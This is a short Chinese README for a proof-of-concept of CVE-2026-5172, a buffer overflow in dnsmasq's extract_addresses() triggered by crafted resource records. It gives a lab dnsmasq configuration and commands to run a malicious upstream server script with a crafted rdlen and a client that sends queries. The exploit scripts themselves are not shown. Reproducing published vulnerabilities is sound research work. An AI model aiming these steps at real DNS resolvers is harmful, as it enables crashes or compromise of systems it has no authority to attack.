CVE20265172poc

CVE-2026-5172: 针对精心构造的资源记录，extract_addresses() 函数中存在缓冲区溢出漏洞的 PoC

拓扑结构请参阅此处 https://medium.com/@yanyuyingshu/reproduction-journal-dnsmasq-ecs-validation-and-buffer-overflow-flaws-e0fe0f66f60c

步骤​

1. vi /etc/dnsmasq.conf​

port=5353​

listen-address=xxx.xxx.xxx.x

bind-interfaces​

no-resolv​

no-hosts​

no-poll​

cache-size=1000​

log-queries​

log-facility=-​

server=127.0.0.1#5354​

（然后重启 dnsmasq 守护进程）​

​

2. python3 server.py --host 127.0.0.1 --port 5354 --rdlen 6 –debug &​

3. python3 client.py --dnsmasq-host xxx.xxx.xxx.x --dnsmasq-port 5353 --timeout 5.0 --count 3​